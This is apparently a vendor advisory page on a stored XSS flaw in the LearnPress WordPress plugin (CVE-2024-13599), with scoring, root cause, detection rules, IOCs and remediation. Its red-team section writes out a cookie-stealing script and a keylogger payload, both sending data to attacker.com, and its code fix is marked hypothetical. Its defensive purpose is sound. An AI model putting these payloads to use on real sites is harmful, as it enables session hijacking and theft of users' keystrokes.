CVE-2024-13599
Executive Summary
CVE-2024-13599 is a Stored Cross-Site Scripting (XSS) vulnerability in the LearnPress – WordPress LMS Plugin, affecting all versions up to and including 4.2.7.5. The flaw arises from insufficient input sanitization and output escaping of a lesson name, allowing authenticated attackers with LP Instructor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses the injected page, potentially leading to session hijacking, data theft, or further compromise of the WordPress site. The vulnerability has a CVSS score of 6.4 (Medium), with an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept (PoC) or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the LearnPress plugin distributed via the WordPress plugin repository. As a WordPress ecosystem component, it is not part of NPM, PyPI, Go, or Ruby registries. However, administrators should verify the integrity of the plugin package by checking checksums and ensuring it is obtained from the official WordPress repository. The lack of a patch increases supply chain risk, as unpatched installations remain vulnerable.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: High (PR:H) – requires Instructor-level access
- User Interaction: Required (UI:R) – victim must visit the injected page
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. While the CVSS score is moderate, the requirement for authenticated access reduces the immediate risk. However, once exploited, the stored XSS can affect all users visiting the compromised lesson page, potentially leading to privilege escalation or site takeover.
Deep Dive & Mechanics
The vulnerability resides in the lesson name field within the LearnPress plugin. When an instructor creates or edits a lesson, the plugin fails to properly sanitize the lesson name input and escape it before rendering on the frontend. This allows an attacker with Instructor-level privileges to inject malicious JavaScript code into the lesson name. The injected script is stored in the database and executed in the browser of any user who views the lesson page, including students, administrators, and other instructors.
Root Cause: The plugin uses esc_html() or similar escaping functions inconsistently, or the lesson name is output in a context where escaping is bypassed (e.g., within a JavaScript event handler or HTML attribute without proper quoting). The lack of input validation allows arbitrary HTML and script tags to be stored.
Attack Flow:
- Attacker authenticates as an Instructor (or higher role).
- Attacker creates or edits a lesson, inserting a malicious payload into the lesson name field (e.g.,
<script>alert('XSS')</script>). - The payload is stored in the WordPress database without sanitization.
- When any user (student, admin, etc.) visits the lesson page, the payload executes in their browser.
- The attacker can then steal cookies, redirect users, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the lesson name handling logic. A typical vulnerable pattern might look like:
Vulnerable Code (PHP):
// In a template or function that outputs lesson name
echo $lesson->name;
Patched Code (Hypothetical):
// Properly escape output
echo esc_html( $lesson->name );
The fix would involve using WordPress's esc_html() or wp_kses_post() functions to sanitize the lesson name before output, and validating input on save using sanitize_text_field() or similar.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with LearnPress plugin <= 4.2.7.5
- Valid Instructor-level account credentials
Exploitation Steps:
- Log in to WordPress as an Instructor.
- Navigate to LearnPress > Courses > Edit a course > Add/Edit a lesson.
- In the lesson name field, inject a payload such as:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the lesson.
- Craft a social engineering lure to make an administrator or student visit the lesson page.
- When the victim visits the page, the script executes, sending their session cookie to the attacker.
Alternative Payload (Keylogger):
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/log?key=' + e.key);
};
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual lesson name content containing
<script>,onerror,onload, or other event handlers. - Review WordPress database for stored XSS patterns in
wp_postmetaorwp_postswhere lesson names are stored. - Use Web Application Firewall (WAF) rules to block common XSS payloads in POST requests to lesson creation endpoints.
Hardening:
- Restrict Instructor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Apply input validation and output escaping manually if no patch is available (e.g., using a custom plugin or theme functions).
Indicators of Compromise (IOCs)
- File Indicators:
- Modified lesson entries in
wp_poststable withpost_type = 'lp_lesson'containing script tags inpost_title.
- Modified lesson entries in
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Unusual
Refererheaders pointing to lesson pages with encoded payloads.
- Log Indicators:
- WordPress debug log entries showing PHP warnings related to
esc_htmlor output buffering. - Web server access logs with requests to lesson pages containing
%3Cscript%3Eor similar URL-encoded XSS patterns.
- WordPress debug log entries showing PHP warnings related to
Detection Engineering
YARA Rule
rule CVE_2024_13599_Stored_XSS_LearnPress {
meta:
description = "Detects stored XSS payloads in LearnPress lesson names"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-13599"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*["']?[^"']*["']?/i
$xss3 = /javascript\s*:/i
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: Stored XSS in LearnPress Lesson Name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS in LearnPress lesson names via POST requests
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=lp_lesson_save'
cs-uri-query|contains: 'lesson_name'
cs-uri-query|contains|re: '(<script|on\w+=|javascript:)'
condition: selection
falsepositives:
- Legitimate use of HTML in lesson names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-13599 Stored XSS in LearnPress Lesson Name"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=lp_lesson_save"; http_uri; content:"lesson_name"; http_client_body; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the LearnPress plugin until a patch is available, or restrict Instructor-level access to only trusted users.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads in lesson name fields.
- Apply a virtual patch using a security plugin (e.g., Wordfence) to filter malicious input.
Long-term Fix:
- Monitor the LearnPress plugin repository for an official patch (expected version 4.2.7.6 or later).
- Once patched, update the plugin immediately.
- Conduct a security audit of all lesson content for existing XSS payloads.
Workaround (Code-Level):
If you have developer access, add the following to your theme's functions.php to sanitize lesson names on save:
add_filter( 'learn_press_lesson_name', 'sanitize_lesson_name', 10, 1 );
function sanitize_lesson_name( $name ) {
return sanitize_text_field( $name );
}
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.